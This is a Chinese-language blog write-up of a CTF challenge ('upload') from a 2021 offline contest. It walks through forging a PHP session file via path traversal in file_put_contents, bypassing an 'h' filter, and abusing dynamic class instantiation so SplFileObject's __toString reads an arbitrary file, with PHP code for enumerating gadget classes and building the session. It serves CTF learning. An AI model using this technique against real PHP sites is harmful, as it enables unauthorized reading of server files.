type
Post
status
Published
date
Jul 30, 2021
slug
2021/2021hmb-offline
summary
假装自己参加了线下赛
tags
CTF比赛
category
比赛Writeup
icon
password
虽然没参加,不过有个师傅跑过来讨论了,就顺便搞搞,第一题是opensns的nday,这里主要分析下第二题upload。还挺有意思,原来一开始想着用像 [CVE-2021-3129](https://tari.moe/2021/06/03/laravel8-debug-rce/ 的方式写入可控的 session文件,结果
h
被过滤了。。upload
源码
源码分析
关键文件有两个:index.php 和 info.php
info.php 主要是告诉我们,session存在
/tmp
目录下
index.php 内容较多,不过分析了一波,首先映入眼帘的是
file_put_contents
方法,参数没有进行过滤,存在目录穿越。那我们可以通过目录穿越写 session 文件了。PHP的session默认是以文件的形式进行存储,而且文件名是以 sess_ 开头的,后面的值为,为我们Cookie中 PHPSESSID=xxxxxxxxxxxxx 的 xxxxxxxxxxxxx。也就是我们以 PHPSESSID=xxxxxxxxxxxx 访问站点,PHP会在 /var/lib/tmp/php 之类的目录创新一个名为 sess_xxxxxxxxxxxxx 的文件,内容为序列化后的数据。
但题目过滤了字符
h
if(stristr($_POST['filename'], 'h')){ die('no h!'); }
正常来说,我们是没法目录穿越至存放 session 的路径的,毕竟有
/php
有 h
,但,题目中 session.save_path
在 /tmp 目录,而且写入的内容没有限制,也就是说我们可以任意伪造 session 了。75行处看似可以调用函数
$pathinfo = array($_GET['file']=>$_SESSION['files'][$_GET['file']]); ${$_SESSION['func']}($pathinfo);
仔细一分析… 这里
${}
原来是一种简单语法,也就是先获取$_SESSION['func']
的值,作为变量名,然后作为函数名去调用,当然可以构造 $_SESSION['func']
为 _SESSION["paths"]
然后 $_SESSION["paths"]
为 system
之类的,但 $pathinfo
是数组…. 暂时没发现啥方法是传入数组进行利用的。所以另辟蹊径,发现56行 new 了一个对象
$temp = new $class($path);
下面有个直接输出
echo $out.'</p>';
因
echo
对象会触发对象的 __toString
魔术方法,如果能找到啥对象实例化后的 __toString
魔术方法,会对 $path
进行一些利用(如输出这个参数文件内容,执行这个参数命令之类的)就好了。刚好找到一个脚本 (
可以查看PHP原生类即内置类,查看拥有所需魔术方法的类如下
这里只获取
__toString
,所以把其他注释了<?php $classes = get_declared_classes(); //获取所有已定义类 foreach($classes as $class) { $methods = get_class_methods($class); //获取当前类所拥有的方法 foreach ($methods as $method) { if (in_array($method, array( // '__destruct', '__toString', // '__wakeup', // '__call', // '__callStatic', // '__get', // '__set', // '__isset', // '__unset', // '__invoke', // '__set_state' //调用var_export导出类时被调用 ))) { print "$class::$method";echo '<br>'; } } }
运行结果
Exception::__toString ErrorException::__toString Error::__toString ParseError::__toString TypeError::__toString ArgumentCountError::__toString ArithmeticError::__toString DivisionByZeroError::__toString ClosedGeneratorException::__toString DOMException::__toString LogicException::__toString BadFunctionCallException::__toString BadMethodCallException::__toString DomainException::__toString InvalidArgumentException::__toString LengthException::__toString OutOfRangeException::__toString RuntimeException::__toString OutOfBoundsException::__toString OverflowException::__toString RangeException::__toString UnderflowException::__toString UnexpectedValueException::__toString CachingIterator::__toString RecursiveCachingIterator::__toString SplFileInfo::__toString DirectoryIterator::__toString FilesystemIterator::__toString RecursiveDirectoryIterator::__toString GlobIterator::__toString SplFileObject::__toString SplTempFileObject::__toString IntlException::__toString AssertionError::__toString PDOException::__toString PharException::__toString Phar::__toString PharData::__toString PharFileInfo::__toString ReflectionException::__toString ReflectionFunctionAbstract::__toString ReflectionFunction::__toString ReflectionParameter::__toString ReflectionType::__toString ReflectionNamedType::__toString ReflectionMethod::__toString ReflectionClass::__toString ReflectionObject::__toString ReflectionProperty::__toString ReflectionClassConstant::__toString ReflectionExtension::__toString ReflectionZendExtension::__toString mysqli_sql_exception::__toString SimpleXMLElement::__toString SimpleXMLIterator::__toString SoapFault::__toString SodiumException::__toString
看到一些反射之类的,当然发现了一个
SplFileObject
类,发现他的 __toString 方法是 SplFileObject::fgets 方法的别名,作用是一行行文件读取。 flag 文件一般是一行,刚好满足要求。实际利用
创建一个 flag 文件,内容为

先构造 session
<?php ini_set('session.save_path', '/tmp'); session_start(); $_SESSION['paths'] = array(); $_SESSION['paths']["/tmp/flag"] = 'SplFileObject';
然后访问一下这个文件,记得看请求的 Cookie: PHPSESSID 的值,然后到本地找到文件,把生成的内容复制一下,粘贴到 content 字段。因为php session 都是sess开头的,所以通过目录穿越写入 sess_tari

写入session后

实例化时,实际是实例化了
SplFileObject("/tmp/flag")


然后就会输出任意我们想输出的文件内容了

搞定~
参考链接
[1] https://www.freebuf.com/articles/web/263710.html
[2] https://mp.weixin.qq.com/s/ucjyuXnWn4PkiD_40Eydkw